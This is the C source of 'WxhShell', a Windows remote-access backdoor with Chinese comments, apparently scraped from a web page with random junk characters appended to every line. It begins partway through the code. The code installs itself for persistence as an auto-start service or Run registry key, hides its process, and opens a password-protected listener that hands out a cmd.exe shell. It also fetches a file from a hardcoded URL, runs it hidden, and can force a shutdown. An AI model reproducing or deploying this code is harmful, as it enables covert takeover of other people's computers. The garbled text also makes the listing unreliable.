    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JL``iA  
    if(Boot(SHUTDOWN)) c@9##DPn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ok,HD7  
    else { n>S2}y  
    closesocket(wsh); bM^7g  
    ExitThread(0); ~3d*b8  
    } FllX za)  
    break; `6}Yqh))  
    } 5#2jq<D  
  // 获取shell #Skj#)I"  
  case 's': { v1h.pbz`w  
    CmdShell(wsh); DL1 +c`d  
    closesocket(wsh); l|7O)  
    ExitThread(0); ;P8(Zf3wJb  
    break; +<{m45  
  } %i595Ij-]  
  // 退出 %jT w  
  case 'x': { +!><5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); op.d;lO@  
    CloseIt(wsh); h\FwgkJP  
    break; 8O9Gs  
    } J)Ol"LXV  
  // 离开 >uHb ^  
  case 'q': { {!r#f(?uT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R+uw/LG  
    closesocket(wsh); ;?`@"YG)  
    WSACleanup(); %4/xH 9  
    exit(1); JRo;(wqZ  
    break; Bq;1^gtpe  
        } &r:=KT3  
  } Sz)b7:  
  } jqtVpNwM  
_JA:.V^3gm  
  // 提示信息 !=y Q)l2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @h9K  
} ol}`Wwy  
  } .6Fsw    
fM2^MUp[=1  
  return; wV>c" J  
} YXRjx .srf  
G AEZY  
// shell模块句柄 7"a4/e;^  
int CmdShell(SOCKET sock) #Wk5E2t  
{ z37Z %^  
STARTUPINFO si; UKj`_a6  
ZeroMemory(&si,sizeof(si)); =Epq%,4nG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hkF^?AJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D J_DonO]  
PROCESS_INFORMATION ProcessInfo; M $uf:+F  
char cmdline[]="cmd"; A%n?}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I)lC{v  
  return 0; NNp}|a9  
} _#vGs:-x&  
wASX\D }  
// 自身启动模式 GFt1  
int StartFromService(void) yquAr$L!  
{ ]x_F{&6U8  
typedef struct GV>&g  
{ uJ 8x  
  DWORD ExitStatus; #j.FJFGX  
  DWORD PebBaseAddress; #R<G,"N5  
  DWORD AffinityMask; b5S7{"<V  
  DWORD BasePriority; mLaCkn  
  ULONG UniqueProcessId; EBwK 7c  
  ULONG InheritedFromUniqueProcessId; In+^V([u+_  
}   PROCESS_BASIC_INFORMATION; cm,4&x6  
&mdB\Y?^  
PROCNTQSIP NtQueryInformationProcess; .<.#aY;N  
3HKxYvc C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *IqVY&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }^9paU  
t)'dF*L  
  HANDLE             hProcess; AAo0M/U'  
  PROCESS_BASIC_INFORMATION pbi; nALnB1  
7UDq/:}Fo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L#!$hq9{_  
  if(NULL == hInst ) return 0; ~j]dct7  
rKT)!o'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Q?598MC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \HD-vINV;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N%*9&FjrL  
r&Q t_  
  if (!NtQueryInformationProcess) return 0; b!,ja?  
0ERsMnU'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;j!UY.i  
  if(!hProcess) return 0; ^vW$XRnt  
XmlIj8%9[&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #fj[kq)&S  
C=yD3mVz  
  CloseHandle(hProcess); KC]tY9 FK  
H0+:XF\M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q0g1E Jar  
if(hProcess==NULL) return 0; eo ?Oir)  
B/G3T u uG  
HMODULE hMod; <p/MyqZf  
char procName[255]; M?R!n$N_  
unsigned long cbNeeded; J^h'9iQpi  
vnZ4(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |(&oI(l5K  
Vmtzig3w[  
  CloseHandle(hProcess); 506V0]`/  
F1J#Y$q~L  
if(strstr(procName,"services")) return 1; // 以服务启动 IX.sy  
V]m^7^m3  
  return 0; // 注册表启动 - f 4>MG  
} !xymoiArp  
pALJl[Cb  
// 主模块 k,lqT>C  
int StartWxhshell(LPSTR lpCmdLine) l#ZyB|  
{ %p*`h43;  
  SOCKET wsl; rmQ\RP W  
BOOL val=TRUE; F+3!uWUK  
  int port=0; }k| g%H J  
  struct sockaddr_in door; sjb-Me?  
VfRs[ 3Q  
  if(wscfg.ws_autoins) Install(); phmVkV2a;#  
P#v^"}.Wd  
port=atoi(lpCmdLine); "f<#.}8  
=1IEpxh%  
if(port<=0) port=wscfg.ws_port; ?yf_Dt  
B>@D,)/bT5  
  WSADATA data; 9 ?(x>P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T\fudmj&  
Az9J\V~"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8F)=n \  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CC>($k"  
  door.sin_family = AF_INET; L&QtHSzy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q K j1yG0i  
  door.sin_port = htons(port); $bFgsy*N2  
{ Hr>X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U&X.  
closesocket(wsl); ) G|"jFP  
return 1; {zu/tCq?  
} I:HV6_/^-G  
$YPQC  
  if(listen(wsl,2) == INVALID_SOCKET) { #r(a~  
closesocket(wsl); m|mG;8}pI  
return 1; hwp/jO:7\  
} "h$D7 mL  
  Wxhshell(wsl); xY+A]Up|w  
  WSACleanup(); /3s@6Ex}E  
pJn>oGeJ&  
return 0; @BXaA0F4  
Kn. iyR  
} {o {#]fbO%  
Bu' :2"7  
// 以NT服务方式启动 TG?fUD V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pj+tjF6Np  
{ 4L!e=>as"1  
DWORD   status = 0; [d\#[l_  
  DWORD   specificError = 0xfffffff; E}t-N  
OoSa95#x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *5^ze+:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TD%WJ9K\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fos1WH?\  
  serviceStatus.dwWin32ExitCode     = 0; eiOi3q  
  serviceStatus.dwServiceSpecificExitCode = 0; v >NTh  
  serviceStatus.dwCheckPoint       = 0; ?o@E1:aA  
  serviceStatus.dwWaitHint       = 0; 5uzpTNAMM1  
Etdd\^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dbd"pR8v  
  if (hServiceStatusHandle==0) return; Wz5d| b  
F\:{}782u  
status = GetLastError(); vRxL&8`&  
  if (status!=NO_ERROR) a9L0f BRy  
{ 0 oQ/J:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (KZUvsSk  
    serviceStatus.dwCheckPoint       = 0; )2/b$i,JKk  
    serviceStatus.dwWaitHint       = 0; %$^$'6\77  
    serviceStatus.dwWin32ExitCode     = status; >[hrJn[  
    serviceStatus.dwServiceSpecificExitCode = specificError; g*^wF?t'T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uz8nRS s  
    return; %bN"bxv^  
  } ga,A'Z  
#i6[4X?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R+C+$?4NG  
  serviceStatus.dwCheckPoint       = 0; -)<JBs>  
  serviceStatus.dwWaitHint       = 0; WGluZhRuT3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N:5b1TdI,  
} WI%zr2T  
eUYG96Jw  
// 处理NT服务事件,比如:启动、停止 4U:DJ_GN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WtMcI>4w  
{ <x^IwS  
switch(fdwControl) p {w}  
{ N{|[R   
case SERVICE_CONTROL_STOP: g\E ._ab<  
  serviceStatus.dwWin32ExitCode = 0; f.sPE8 #3=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0GF%~6  
  serviceStatus.dwCheckPoint   = 0; P~;<o! f  
  serviceStatus.dwWaitHint     = 0; A=y24m  
  { e$gaE</  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S`iM.;|`O  
  } nsy !p5o  
  return; P"U>tsHK:  
case SERVICE_CONTROL_PAUSE: ^o,y5 ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m21QN9(i%  
  break; TZ)(ZKX*R  
case SERVICE_CONTROL_CONTINUE: l@ (t^68OD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z(#XFXd  
  break; 34HFrMi  
case SERVICE_CONTROL_INTERROGATE: X}kVBT1w+x  
  break; <1v{[F_  
}; 'Wd3`4V$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ikeJDKSG  
} X+fu hcn  
K%o6hBlk_  
// 标准应用程序主函数 T "ZQPLg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @DRfNJ}  
{ )WzGy~p8K  
3XMBu*  
// 获取操作系统版本 \;4L~_2$q  
OsIsNt=GetOsVer(); -<u- +CbuT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }S1Z>ZA5  
O(b"F? w  
  // 从命令行安装 KBp!zSl  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z:W')Nd(  
WlF+unB!9  
  // 下载执行文件 56 /.*qa  
if(wscfg.ws_downexe) { N^)<)?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7/$nA<qM  
  WinExec(wscfg.ws_filenam,SW_HIDE); nI((ki}v  
} $yP'k&b!  
+y tT)S  
if(!OsIsNt) { 3uB=L 7.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^d5gz0d  
HideProc(); vY8WqG]  
StartWxhshell(lpCmdLine); T<w*dX7F0K  
} cN0~;!{i  
else XY&]T'A  
  if(StartFromService()) g^Ugl=f,  
  // 以服务方式启动 /S-/SF:>g  
  StartServiceCtrlDispatcher(DispatchTable); [J[ysW})W  
else v]UU&Jq8U  
  // 普通方式启动 lyMJW }T+>  
  StartWxhshell(lpCmdLine); .2 N_?  
7=9A_4G!  
return 0; )eIz{Mdp=  
} eWqVh[  
BVwRPt  
d|D'&&&c  
3}.mp}K 5  
=========================================== 0`aHwt/F  
IeqWR4Y  
"RR./e)h  
uaZ"x& oZ#  
ru(?a~lF8~  
q329z>  
" L~SrI{aYPf  
$Sc08ro  
#include <stdio.h> M4L~bK   
#include <string.h> #]N&6ngJ  
#include <windows.h> 59"Nn\}3gE  
#include <winsock2.h> 5,G<}cd  
#include <winsvc.h> ~Sn5;g8+\  
#include <urlmon.h> Ynk><0g6  
,& \&::R  
#pragma comment (lib, "Ws2_32.lib") ?trt4Tbe/  
#pragma comment (lib, "urlmon.lib") 8_sU8q*s  
V@54k*V  
#define MAX_USER   100 // 最大客户端连接数 vh:UXE lm  
#define BUF_SOCK   200 // sock buffer N`L' 4v)  
#define KEY_BUFF   255 // 输入 buffer uj+.L6S  
wUZ(Tin  
#define REBOOT     0   // 重启 w2M IY_N?  
#define SHUTDOWN   1   // 关机  \!' {-J  
~]i]kU   
#define DEF_PORT   5000 // 监听端口 P"h,[{Y*>  
3>:zo:;  
#define REG_LEN     16   // 注册表键长度 'w |s*5  
#define SVC_LEN     80   // NT服务名长度 .aAw7LW  
wKeSPs{x  
// 从dll定义API S|=rF<]my  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f(9$"Vi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gzJ{Gau{)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0N} wD-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ho SU`X  
}y -AoG  
// wxhshell配置信息 Xy KKD&j  
struct WSCFG { s1*WK&@  
  int ws_port;         // 监听端口 D; 35@gtj  
  char ws_passstr[REG_LEN]; // 口令 \e5,`  
  int ws_autoins;       // 安装标记, 1=yes 0=no JVIcNK)  
  char ws_regname[REG_LEN]; // 注册表键名 (0+GLI8  
  char ws_svcname[REG_LEN]; // 服务名 OA8b_k~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F~uA-g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %l]rQjV-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `)gkkZ$)j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !]jNVg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" * zJiii  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M%Kx{*aw&  
'piF_5(@  
}; B2Awdw3=g  
Vms7 Jay  
// default Wxhshell configuration a\HtxR8L  
struct WSCFG wscfg={DEF_PORT, H?zCIue3  
    "xuhuanlingzhe", V=8{CmqT  
    1, =:R[gdA#1  
    "Wxhshell", BR0p0%  
    "Wxhshell", zWR*g/i  
            "WxhShell Service", CH R?i1e  
    "Wrsky Windows CmdShell Service", O<H@:W #k  
    "Please Input Your Password: ", w1!\L_::Y  
  1, q5K/+N^2?  
  "http://www.wrsky.com/wxhshell.exe", )u v$tnP*  
  "Wxhshell.exe" lG^mW \ O  
    }; L-X _b3E\  
~)\1g0  
// 消息定义模块 -fZShOBY`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OHa{!SaL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; " :nVigw&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;r@R (Squ  
char *msg_ws_ext="\n\rExit."; bU g2Bm!y  
char *msg_ws_end="\n\rQuit."; +Muia5G  
char *msg_ws_boot="\n\rReboot..."; y[7xK}`_  
char *msg_ws_poff="\n\rShutdown..."; `'k's]Y  
char *msg_ws_down="\n\rSave to "; Sr#fyr  
iJp!ROI  
char *msg_ws_err="\n\rErr!"; t BXsWY{  
char *msg_ws_ok="\n\rOK!"; YaE['a  
@SMy0:c:  
char ExeFile[MAX_PATH]; J W yoh|  
int nUser = 0; ] !*  
HANDLE handles[MAX_USER]; Zv7$epDUz  
int OsIsNt; TYLl_nGr  
T;pn -  
SERVICE_STATUS       serviceStatus; b<8J;u<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '/"M02a  
7!QXh;u  
// 函数声明 ~>-;(YU"t  
int Install(void); #p9z#kin  
int Uninstall(void); MH~qfH>K  
int DownloadFile(char *sURL, SOCKET wsh); `?S?)0B  
int Boot(int flag); V/[,1W[B  
void HideProc(void); B[m{2XzGH  
int GetOsVer(void); f`";Q/rG  
int Wxhshell(SOCKET wsl); ,9j:h)ks?  
void TalkWithClient(void *cs); =rtA{g$)+  
int CmdShell(SOCKET sock); a*wJcJTpV"  
int StartFromService(void); x jUH<LFxy  
int StartWxhshell(LPSTR lpCmdLine); DDCQAf  
8LM1oal}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C5n=2luI_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kAF}*&Kzd~  
)cmLo0`$  
// 数据结构和表定义 TXOW/{B  
SERVICE_TABLE_ENTRY DispatchTable[] = M>z7H"jCu  
{ Q1&dB{L  
{wscfg.ws_svcname, NTServiceMain}, B+H9c~3$  
{NULL, NULL} r`"#c7)  
}; /WgWe  
T|iF/p]F  
// 自我安装 -v+^x`HR  
int Install(void) BNm va  
{ 59J$SE  
  char svExeFile[MAX_PATH]; umn~hb5O  
  HKEY key; )PATz #  
  strcpy(svExeFile,ExeFile); Kxaz^$5Y$  
Z1lF[d,f;  
// 如果是win9x系统,修改注册表设为自启动 U\GZ  
if(!OsIsNt) { V4i%|vV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N S}`(N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G(3la3\(  
  RegCloseKey(key); E&tmWOMj>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gbm_xEPC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M[N.H9  
  RegCloseKey(key); z7pXpy \  
  return 0; Z!l!3(<G.f  
    } 2}C>{*}yQ  
  } =sVt8FWGY  
} Ck a]F2,  
else { c89vx 9  
*xVAm7_v  
// 如果是NT以上系统,安装为系统服务 |(ju!&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "LaX_0t)  
if (schSCManager!=0) H 1X]tw.  
{ /<pQ!'/G  
  SC_HANDLE schService = CreateService 9F1stT0G%  
  ( |VEAzY|[#  
  schSCManager, 2/q=l?  
  wscfg.ws_svcname, ]<z(Rmn`Q  
  wscfg.ws_svcdisp, ffd 3QQ  
  SERVICE_ALL_ACCESS, 4'b]2Mn3   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v!9Imf  
  SERVICE_AUTO_START, "fJ|DE&@<i  
  SERVICE_ERROR_NORMAL, &+iW:  
  svExeFile, 3s$.l }  
  NULL, To? bp4  
  NULL, a-2 {x2O  
  NULL, zW`koRH@  
  NULL, U+M?<4J) "  
  NULL eyjUNHeh#  
  ); :Aiu!}\  
  if (schService!=0) p+D 6Z'B  
  { sBI%lrO  
  CloseServiceHandle(schService); !T(Omve)  
  CloseServiceHandle(schSCManager); YEoT_>A$dB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V *y  
  strcat(svExeFile,wscfg.ws_svcname); ;7*@Gf}R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M:f=JuAx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jc`',o'[+  
  RegCloseKey(key); <&Xq`i/(  
  return 0; ~o5iCt;w  
    } / {~h?P}  
  } l;kZS  
  CloseServiceHandle(schSCManager); g}KZL-p4\m  
} *uM*)6O 3  
} b u9&sQ;  
s4k%ty}  
return 1; fG5}'8  
} o^6j(~  
agD.J)v\  
// 自我卸载 MCG~{#`  
int Uninstall(void) Q kpmPQK  
{ =)5a=^ 6  
  HKEY key; >iJuR.:OO  
i_ TdI  
if(!OsIsNt) { [i#Gqx>'w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yk&{VXU<  
  RegDeleteValue(key,wscfg.ws_regname); l);8y5  
  RegCloseKey(key); Y\\nJuJo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RyD$4jk+T"  
  RegDeleteValue(key,wscfg.ws_regname); H2cc).8"  
  RegCloseKey(key); Isb^~c_P  
  return 0; Ih"Ol(W  
  } - Sgp,"a  
} rcT<OiYuig  
} %;?3A#  
else { Z`t?kXDNoI  
y@JYkp>I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XjU;oh4:.  
if (schSCManager!=0) 1]`HX=cl  
{ k@U`?7X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [nD4\x+  
  if (schService!=0) XePBA J  
  { 9%6`ZS~3  
  if(DeleteService(schService)!=0) { X  jN.X  
  CloseServiceHandle(schService); Q6>( Z  
  CloseServiceHandle(schSCManager); 5 Vqvb|  
  return 0; Hp AZ{P7  
  } Jl ?Q}SB  
  CloseServiceHandle(schService); KL`>mJo$  
  } v}D!  
  CloseServiceHandle(schSCManager); *?&O8SSBH  
} iK:]Q8b  
} 0yNlf-O  
0n=E.qZ9c  
return 1; Gzt5efygKt  
} oFp&j@`k8j  
JqZ5DjI:  
// 从指定url下载文件 "Fiv ]^  
int DownloadFile(char *sURL, SOCKET wsh) [L^#<@S  
{ k({8C`&tK/  
  HRESULT hr; ,cEcMaJ  
char seps[]= "/"; UC@"<$'C  
char *token; pC8i &_A  
char *file; [Nc  Ok,  
char myURL[MAX_PATH]; Pme?`YO$x  
char myFILE[MAX_PATH]; 9Z 4R!Q  
i-b7  
strcpy(myURL,sURL); )`-]nMc  
  token=strtok(myURL,seps); $)V4Eu;  
  while(token!=NULL) Km-B=6*QY  
  { Wz]S+IpY  
    file=token; &@-glF5  
  token=strtok(NULL,seps); K e8cfd~c  
  } $n"Llw&)  
bHnQLJ  
GetCurrentDirectory(MAX_PATH,myFILE); V  ""  
strcat(myFILE, "\\"); )`^:G3w  
strcat(myFILE, file); {5JXg9um  
  send(wsh,myFILE,strlen(myFILE),0); 2Oa-c|F  
send(wsh,"...",3,0); 6 -}gqkR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *93 N0m4Rl  
  if(hr==S_OK) i\G3 u#  
return 0; 9n'p7(s%  
else {9MYEN}FO  
return 1; 1-#tx*>AY  
Le!I-i( aD  
} < r~Tj  
ehq6.+l  
// 系统电源模块 }o4Cd$,8  
int Boot(int flag)  2Mda'T8  
{ kn\>ZgU  
  HANDLE hToken; Y')+/<Q2E  
  TOKEN_PRIVILEGES tkp; b'YbHUyu  
Zpmy)W]1  
  if(OsIsNt) { 7SCI_8`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }0G Ab2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xk$lQMwZ  
    tkp.PrivilegeCount = 1; .w~USJ=X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )EoG@:[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BR'|hG  
if(flag==REBOOT) { A-FwNo2"%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0"N %Vm  
  return 0; w6_}] &F  
} L;[*F-+jD  
else { guvQISQlY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d}Om?kn  
  return 0; iJBZnU:Mp  
} O]>`B{  
  } W#!\.m`5  
  else { \2jY)UrQs  
if(flag==REBOOT) { kXWx )v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $u :=lA:N  
  return 0; Gf?KpU  
} F@BNSs N=  
else { -)@.D>HsOt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6D],275`J  
  return 0; $m>e!P>%u  
} v|GvN|_|  
} P7b2I=t  
,o)MiR9-[A  
return 1; ,n*.Yq  
} XHr{\/4V  
dQ[lXV[}v  
// win9x进程隐藏模块 *u }):8=&R  
void HideProc(void) ^4"_I   
{ mI# BQE`p6  
EB#z\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yl}Hr*  
  if ( hKernel != NULL ) NmQ]qv  
  { [H6>]&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / @&Sqv4?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3jNcL{  
    FreeLibrary(hKernel); 5+UiAc$  
  } dY,'6 JzC  
UTPl7po5D  
return; TO.NCO\x  
} [3.rG!Na  
HIF] c  
// 获取操作系统版本 Aq"_hjp  
int GetOsVer(void) [>-k(D5D  
{ HZT;7<  
  OSVERSIONINFO winfo; $spf=t"nh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uMI2Wnnc:/  
  GetVersionEx(&winfo); j!s&yHE1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F,sT[C  
  return 1; ?vVkZsU  
  else ,"'agg:St  
  return 0; 6]Jv3Re'(I  
} Y'-Lt5SCS  
O v-I2  
// 客户端句柄模块 4g 1h:I/  
int Wxhshell(SOCKET wsl) +FiV!nRkZ  
{ 3X:F9x>y  
  SOCKET wsh; =N=,;<6%A  
  struct sockaddr_in client; G<-.{Gx)  
  DWORD myID; Z8 T{Xw6%  
0pR04"`;  
  while(nUser<MAX_USER) 3 *G=U  
{ SCjACQ}-  
  int nSize=sizeof(client); EP[ gq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "rXGXQu  
  if(wsh==INVALID_SOCKET) return 1; _VlN Z/V  
bYtF#Y   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \o^+'4hq<5  
if(handles[nUser]==0) c_iF S  
  closesocket(wsh); \c]/4C +/  
else 1Jahu!c?  
  nUser++; )"1D-Bc\Q  
  } SBEJ@&iB~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BjH(E'K[b  
 en   
  return 0; $OT:J  
} >eC^]#c  
bfJDF(=h  
// 关闭 socket ZD,l 2DQ?  
void CloseIt(SOCKET wsh) 8[DD=[&  
{ "K8qmggTq  
closesocket(wsh); !-QKh aY  
nUser--; Rwr0$_A  
ExitThread(0); F4}Zl  
} ;#;X@BhS  
gQ?k}D  
// 客户端请求句柄 +o/q@&v;Ax  
void TalkWithClient(void *cs) $d"6y  
{ Ev()2 80  
%$cwbh-{{  
  SOCKET wsh=(SOCKET)cs; b,c vQD  
  char pwd[SVC_LEN]; 3]!(^N>V  
  char cmd[KEY_BUFF]; &EQov9P7  
char chr[1]; _uBf.Qfs  
int i,j; !yxb<  
a%AU9?/q#  
  while (nUser < MAX_USER) { "-hgeQX  
tly:$;K  
if(wscfg.ws_passstr) { PH]q#/'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H`y- "L8q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `mMD e  
  //ZeroMemory(pwd,KEY_BUFF); /`1zkBj<&  
      i=0; 3{%/1>+x5  
  while(i<SVC_LEN) { D\k);BU~  
H(pOR< `  
  // 设置超时 0trFLX  
  fd_set FdRead; ';1 c  
  struct timeval TimeOut; q%JV"9,  
  FD_ZERO(&FdRead); nyIb8=f  
  FD_SET(wsh,&FdRead); vH?/YhH|  
  TimeOut.tv_sec=8; ss[8d%V  
  TimeOut.tv_usec=0; %PG0PH4?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9A6ly9DIS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 83 S],L  
iw#luHcJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I*#~@:4*  
  pwd=chr[0]; 04( h!@!g:  
  if(chr[0]==0xd || chr[0]==0xa) { <q!{<(:  
  pwd=0; >uQ!B/C!  
  break; 9u:MF0:W  
  } z` sH  
  i++; @<};Bo'  
    } [iDa6mcth  
iBZ+gsSP  
  // 如果是非法用户,关闭 socket &o?pZ(\C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kh`X92~  
} 5Zq- |"|  
Me8d o; G|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F`-? 3]\3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t'z] <7  
%TLAn[LW(  
while(1) { uU<Yf5  
{!-w|&bF  
  ZeroMemory(cmd,KEY_BUFF); 6 Fm.^9@  
Jus)cO#I  
      // 自动支持客户端 telnet标准   XL +kEZ|3  
  j=0; M5<5 (l  
  while(j<KEY_BUFF) { rp _G.C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X=DJOepH'  
  cmd[j]=chr[0]; *fjarZu  
  if(chr[0]==0xa || chr[0]==0xd) { xd>2TW l#  
  cmd[j]=0; 's e 9|:  
  break; J +9D/VT  
  } HHX9QebiST  
  j++; 08'JT{iid  
    } sT/pA^rnnR  
>8RIMW2  
  // 下载文件 x.d9mjLN8m  
  if(strstr(cmd,"http://")) { Jb0]!*tV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 02SUyv(Mt  
  if(DownloadFile(cmd,wsh)) ]qXfg c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]cpPW-b  
  else (OJ}|*\e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @]OI(B  
